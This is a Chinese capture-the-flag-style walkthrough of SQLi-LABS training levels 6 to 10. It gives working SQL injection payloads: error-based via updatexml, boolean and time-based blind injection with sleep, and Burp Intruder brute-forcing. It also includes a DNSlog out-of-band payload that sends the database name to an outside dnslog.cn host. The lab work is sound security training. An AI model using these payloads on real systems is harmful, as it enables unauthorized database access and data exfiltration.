SQLi-LABS通关攻略【6-10关】

SQLi-LABS 06关

1.判断注入类型

id=1'  正常

id=1"  报sql语法错误,可以用报错注入

2. 使用updatexml()函数进行报错注入

注入语句:

?id=1" and updatexml(1,concat(1,database()),1) --+

得到数据库名

SQLi-LABS 07关

1.判断闭合方式

?id=1    You are in.... Use outfile.....提示用文件

?id=1'   You have an error in your SQL syntax 显示有语法错误

?id=1" and 1=2 --+ 正常 所以不是双引号

?id=1')) and 1=2 --+ 错误

所以闭合方式是 '))

2.注入方式

本题可以用布尔盲注,也可以使用外带注入;

但由于布尔盲注太费时间,所以我们直接使用dnslog外带注入

打开dnslog.cn 网站,生成dnslog网址

3.使用外带注入语句

?id=1')) union select 1,2,(load_file(concat('\\\\',(select database()),'.5ktpbm.dnslog.cn\\abc'))) %23

 得到数据库名

SQLi-LABS 08关

1. 判断闭合方式

id=1   You are in....

id=1'  报错但没有回显

id=1' --+   You are in....

闭合方式是字符型 '

2. 注入方式

有两个显示页面,所以可以使用布尔盲注

使用BurpSuite进行抓包,从而对数据库命进行暴力破解

注入语句:?id=1%27%20and%20ascii(substr(database(),1,1))=1--+

3.  测试数据库长度,可以使用抓包暴力破解,也可以使用语句进行二分法进行测试得到

这里使用sql语句

注入语句:?id=1' and length(database())=8--+

得到数据库长度为 8

4. 抓包并发送到攻击器

攻击器将两个参数添加payload,使用集束炸弹模式

因为前面已经知道数据库长度为8,所以最大长度为8(比8大的数字都可以)

第一个payload配置如下

第二个payload配置如下

开始攻击,得带8个长度和其他不一样的数据,这8个就是数据库的对应的ASCII数值,对照ASCII表可以得到对应的字母,最终得到数据库名为security

SQLi-LABS 09关

1. 无论输入输入什么注入语句都是You are in....

所以只能使用时间盲注

2.判断闭合方式

id=1' and sleep(3) --+  明显延迟

id=1" and sleep(3) --+  没有明显延迟

id=1') and sleep(3) --+  没有明显延迟

所以闭合方式是单引号 '

3.使用时间盲注语句

注入语句:?id=1' and if((ascii(substr(database(),1,1))=115),sleep(10),0) --+

 

改变参数,得到数据库名为security

SQLi-LABS 10关

1.和第九关一样无论输入什么都是You are in....

所以一样是时间盲注

2.判断闭合方式

id=1' and sleep(3) --+  没有明显延迟

id=1') and sleep(3) --+  没有明显延迟

id=1" and sleep(3) --+   有明显延迟

所以是双引号闭合 "

3.使用注入语句

注入语句:?id=1" and if((ascii(substr(database(),1,1))=115),sleep(10),0) --+

更改参数,得到数据库名为security

  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值